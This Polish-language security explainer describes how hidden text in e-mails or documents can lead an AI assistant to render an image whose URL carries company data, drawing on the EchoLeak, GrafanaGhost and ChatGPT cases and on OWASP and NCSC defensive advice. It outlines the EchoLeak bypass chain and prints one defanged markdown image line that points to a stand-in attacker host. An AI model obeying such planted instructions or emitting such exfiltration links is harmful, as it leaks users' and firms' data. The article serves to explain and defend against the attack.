Cyberpediaod Brain

Wyciek danych przez obraz w asystencie AI

Ukryty tekst w e-mailu może skłonić asystenta AI do wyświetlenia obrazu przenoszącego Pana/Pani dane. Przypadki EchoLeak i GrafanaGhost, obrona.

Na tej stronie
  1. 1W 30 sekund
  2. 2O co chodzi
  3. 3Pytania wprost
  4. 4W skórze atakującego
  5. 5Co widać na ekranie
  6. 6Pod maską
  7. 7Analizy incydentów
  8. 8Źródła
  9. 9Zacytuj ten artykuł

W 30 sekund

Gdzie to się zdarza
Gdy asystent AI czyta treść, której nie napisał, na przykład e-mail, stronę internetową lub dokument[3].
Czego chce atakujący
Wyprowadzić dane firmy na serwer, który kontroluje[2].
Odruch
Podawać asystentowi tylko dane potrzebne do zadania, ponieważ informacja przekazana nieumyślnie może później pojawić się w jego odpowiedziach[4].
Plan artykułu

O co chodzi

W przypadku EchoLeak asystent AI wypuścił dane firmy bez kliknięcia przez kogokolwiek[1]. Ukryty tekst w e-mailu lub dokumencie przekazuje asystentowi instrukcje[3]. Asystent wyświetla wtedy obraz, którego adres zawiera dane[3], a obraz jest pobierany automatycznie[1].

Ten mechanizm opisują dwa przypadki. W EchoLeak, w Microsoft 365 Copilot, artykuł badaczy opisuje zdalną eksfiltrację danych, bez uwierzytelniania, za pomocą jednego spreparowanego e-maila, z wykorzystaniem automatycznie pobieranych obrazów[1]. W GrafanaGhost badacze ujawnili lukę, która mogła sprawić, że asystent Grafany wyświetlał obraz zewnętrzny, a ten przesyłał dane firmy atakującemu w parametrze adresu[2].

Pytania wprost

Czy trzeba kliknąć, żeby dane wyszły?

Nie w EchoLeak: opisany atak działa bez interakcji użytkownika[1]. W przypadku GrafanaGhost Grafana oświadczyła, że wykorzystanie luki wymagałoby istotnej interakcji użytkownika[2].

Czym jest pośrednie wstrzyknięcie promptu?

Według NCSC (Wielka Brytania) jest to sytuacja, w której atakujący bez bezpośredniego dostępu do systemu AI pisze coś, co ostatecznie zostaje przetworzone przez system i wzięte za instrukcję[5]. OWASP zalicza do tej kategorii treść e-maili i załączników przetwarzanych przez asystentów AI, a także tekst ukryty na stronach internetowych, w dokumentach lub e-mailach[3].

Dlaczego asystent słucha tekstu, którego nie widać?

Według NCSC (Wielka Brytania) obecne duże modele językowe nie stosują żadnej granicy bezpieczeństwa między instrukcjami a danymi wewnątrz promptu[5]. OWASP dodaje, że łańcuchy przetwarzania dokumentów często przekazują modelowi wyodrębniony tekst, nie uwzględniając sposobu wyświetlania, przez co tekst niewidoczny dla czytelnika i tak do niego dociera[3].

Jakie dane mogą wyciec?

OWASP wymienia dane osobowe, informacje finansowe, dokumentację medyczną, poufne dane firmy, dane logowania i dokumenty prawne[4].

Czy wystarczy filtr podejrzanych zdań?

Nie. Według OWASP filtrowanie danych wejściowych nie jest granicą bezpieczeństwa: atakujący może przeformułować instrukcję na wiele sposobów, których lista blokad nie rozpoznaje[3]. NCSC (Wielka Brytania) również przestrzega przed blokowaniem treści znanych jako złośliwe, ponieważ istnieje nieskończona liczba przeformułowań ataku[5].

Czy to ryzyko może zniknąć?

NCSC (Wielka Brytania) uważa, że wstrzyknięcie promptu może nigdy nie zostać całkowicie złagodzone i że zespoły bezpieczeństwa muszą wiedzieć, że pozostanie ono ryzykiem szczątkowym, zarządzanym przez projektowanie, budowę i eksploatację[5].

Co powinna ograniczyć firma?

OWASP wymienia trzy przyczyny nadmiernego zakresu działania asystenta: zbyt wiele funkcji, zbyt wiele uprawnień, zbyt dużą autonomię[6]. Każde narzędzie powinno otrzymywać tylko te dane i operacje, których potrzebuje[3].

W skórze atakującego

Atakujący nie ma dostępu do asystenta. Pisze treść, którą asystent w końcu przeczyta: e-mail, dokument, stronę[5]. Ukrywa w niej instrukcje, na przykład tekstem w kolorze tła, malutkim, zasłoniętym lub umieszczonym poza stroną[3].

Jego celem jest uzyskanie danych firmy na serwerze, który kontroluje[2]. OWASP opisuje typowy scenariusz: osobisty asystent ma dostęp do skrzynki odbiorczej, by streszczać przychodzące e-maile. Spreparowany e-mail skłania go do przeszukania skrzynki w poszukiwaniu informacji wrażliwych i przekazania ich na adres atakującego[6]. W tym scenariuszu rozszerzenie wybrane przez programistę zawiera też funkcje wysyłania wiadomości, choć do streszczania wystarcza odczyt[6].

W EchoLeak badacze opisują łańcuch obejść: klasyfikator XPIA (Cross Prompt Injection Attempt) Microsoftu, maskowanie linków (obejście za pomocą składni Markdown zwanej reference-style), automatycznie ładowane obrazy oraz proxy Microsoft Teams dopuszczone przez politykę bezpieczeństwa treści[1].

Co widać na ekranie

Spreparowanego tekstu nie widać: na tym polega jego zasada[3]. OWASP zwraca uwagę, że w jego mapach ryzyka użytkownicy zaufanej AI do obserwowalności mogli uruchomić wyciek nieświadomie[2].

Eksfiltracja odbywa się przez obraz. Przykładem OWASP jest ukryty znacznik obrazu, którego adres zawiera dane do kradzieży[3]. Oto zneutralizowana ilustracja tej zasady, która nie działa:

Fragment
Zneutralizowana ilustracja, niedziałająca.
[Tekst ukryty w e-mailu: polecenie nakazujace asystentowi wyswietlic obraz]
![image](hxxps://serveur-attaquant[.]invalid/image?donnees=[dane-firmy])

W przypadku GrafanaGhost złośliwy kontekst mógł skłonić asystenta do zignorowania jego barier ochronnych i wyświetlenia obrazu zewnętrznego, co przesyłało dane atakującemu jako parametr adresu[2].

Pod maskąZespoły IT

Mechanizm opiera się na trzech elementach.

  • Obraz jest pobierany bez działania użytkownika: EchoLeak wykorzystywał automatycznie ładowane obrazy[1].
  • Dane podróżują w adresie obrazu, jako parametr adresu[2].
  • Wyświetlenie odpowiedzi asystenta staje się kanałem wyjścia: OWASP klasyfikuje GrafanaGhost między innymi w kategorii niewłaściwej obsługi danych wyjściowych modelu (LLM05:2025)[2].

Obrona oczekiwana od firmy dotyczy tych trzech punktów.

  • Filtrować to, co asystent wyświetla. W przypadku GrafanaGhost OWASP zaleca oczyszczanie kontekstu zewnętrznego, ograniczenie renderowania wychodzącego i wzmocnienie walidacji adresów[2]. Lista kontrolna OWASP wymaga też oczyszczania HTML i Markdown przy wyświetlaniu[3]. Model pełniący rolę bariery ochronnej może zbadać odpowiedź przed jej wyświetleniem, także po to, by wykryć znaczniki eksfiltracji, ale sam jest modelem i może podlegać wstrzyknięciu promptu[3].
  • Ograniczać uprawnienia asystenta. Autorzy badania EchoLeak wyciągają jako wniosek zasadę najmniejszych uprawnień, obronę wielowarstwową i ciągłe testy adwersarialne[1]. OWASP podaje przykłady: nie dawać agentowi rozszerzenia pobierającego zawartość adresu internetowego, jeśli system tego nie potrzebuje, i ograniczyć rozszerzenie poczty do odczytu[6]. OWASP zaleca zatwierdzanie przez człowieka działań o dużym wpływie[6].
  • Rozdzielać według pochodzenia. NCSC (Wielka Brytania) przywołuje prostą regułę: gdy model przetwarza informacje pochodzące od jednej strony, jego uprawnienia spadają do uprawnień tej strony. Asystent przetwarzający e-maile od osób z zewnątrz nie może więc mieć dostępu do uprzywilejowanych narzędzi[5].

NCSC (Wielka Brytania) zauważa, że żaden produkt nie wystarcza do wyeliminowania wstrzyknięcia promptu i że najlepsze, na co można liczyć, to zmniejszenie jego prawdopodobieństwa lub skutków[5]. Według NCSC (Wielka Brytania) zabezpieczenia na poziomie projektu powinny w większym stopniu zmierzać ku deterministycznym barierom ochronnym, działającym poza modelem, które ograniczają działania systemu[5]. OWASP zaleca testowanie tych granic z użyciem danych fikcyjnych i zastępczych narzędzi z instrumentacją[3].

Dla pracownika OWASP wskazuje, że użytkownicy powinni rozumieć ryzyko nieumyślnego podawania danych wrażliwych, które mogą potem pojawić się w danych wyjściowych modelu[4]. Zaleca przekazywanie wskazówek, jak unikać wpisywania informacji wrażliwych[4], oraz przyznawanie dostępu tylko do danych potrzebnych danemu użytkownikowi lub procesowi[4].

Analizy incydentówPrawdziwe przypadki

EchoLeak w Microsoft 365 Copilot, badanie z września 2025

EchoLeak nosi identyfikator CVE-2025-32711. Badacze opisują go jako wstrzyknięcie promptu bez kliknięcia w Microsoft 365 Copilot, które umożliwiało zdalną eksfiltrację danych bez uwierzytelniania za pomocą jednego spreparowanego e-maila[1]. Artykuł, zamieszczony w arXiv 6 września 2025, został opublikowany w AAAI Fall Symposium Series 2025[1].

Opisany łańcuch łączy obejście klasyfikatora XPIA, składnię Markdown reference-style, automatycznie ładowane obrazy i proxy Teams dopuszczone przez politykę bezpieczeństwa treści[1]. Autorzy proponują jako środki podział promptów na partycje, wzmocnione filtrowanie danych wejściowych i wyjściowych, kontrolę dostępu opartą na pochodzeniu oraz ścisłe polityki bezpieczeństwa treści[1].

GrafanaGhost, kwiecień 2026

OWASP datuje ujawnienie na 7 kwietnia 2026, a potwierdzenie poprawki na 8 kwietnia[2]. Noma Security znalazła słabość w komponentach AI Grafany, która pozwalała wskazać systemowi zasoby zewnętrzne zawierające ukryte instrukcje[2]. Asystent mógł wtedy wyświetlić obraz zewnętrzny, co przesyłało dane firmy atakującemu jako parametr adresu[2].

Grafana wskazała następnie, że problem z renderowaniem obrazów Markdown został szybko naprawiony i że wykorzystanie luki wymagałoby istotnej interakcji użytkownika[2]. OWASP precyzuje, że nie przyznano publicznego CVE i że zastosowano częściową poprawkę w komponencie renderowania[2]. Jest to ujawnienie badawcze[2].

ChatGPT i dane osobowe, maj 2024

W artykule zamieszczonym 31 maja 2024 jego autor podaje, że ChatGPT 4 i 4o były podatne na wstrzyknięcie promptu, które pozwalało atakującemu dokonać eksfiltracji danych osobowych użytkowników[7]. Według niego atak działał bez narzędzi firm trzecich, a dotyczył wtedy wszystkich użytkowników[7]. Funkcja pamięci ChatGPT pogłębiała lukę, ponieważ pozwalała atakującemu doprowadzić do monitorowania użytkownika, aby uzyskać pożądane dane[7].

Źródła

  1. arXiv, „EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System”, 6 września 2025. https://arxiv.org/abs/2509.10540 (dostęp 14 listopada 2026)
  2. OWASP, „OWASP GenAI Exploit Round-up Report Q1 2026”, 14 kwietnia 2026. https://genai.owasp.org/2026/04/14/owasp-genai-exploit-round-up-report-q1-2026/ (dostęp 14 listopada 2026)
  3. OWASP, „LLM Prompt Injection Prevention Cheat Sheet”. https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html (dostęp 14 listopada 2026)
  4. OWASP, „LLM02:2025 Sensitive Information Disclosure”, 10 kwietnia 2024. https://genai.owasp.org/llmrisk/llm022025-sensitive-information-disclosure/ (dostęp 14 listopada 2026)
  5. NCSC (Royaume-Uni), „Prompt injection is not SQL injection (it may be worse)”, 8 grudnia 2025. https://www.ncsc.gov.uk/blog-post/prompt-injection-is-not-sql-injection (dostęp 14 listopada 2026)
  6. OWASP, „LLM06:2025 Excessive Agency”, 10 kwietnia 2024. https://genai.owasp.org/llmrisk/llm062025-excessive-agency/ (dostęp 14 listopada 2026)
  7. arXiv, „Exfiltration of personal information from ChatGPT via prompt injection”, 31 maja 2024. https://arxiv.org/abs/2406.00199 (dostęp 14 listopada 2026)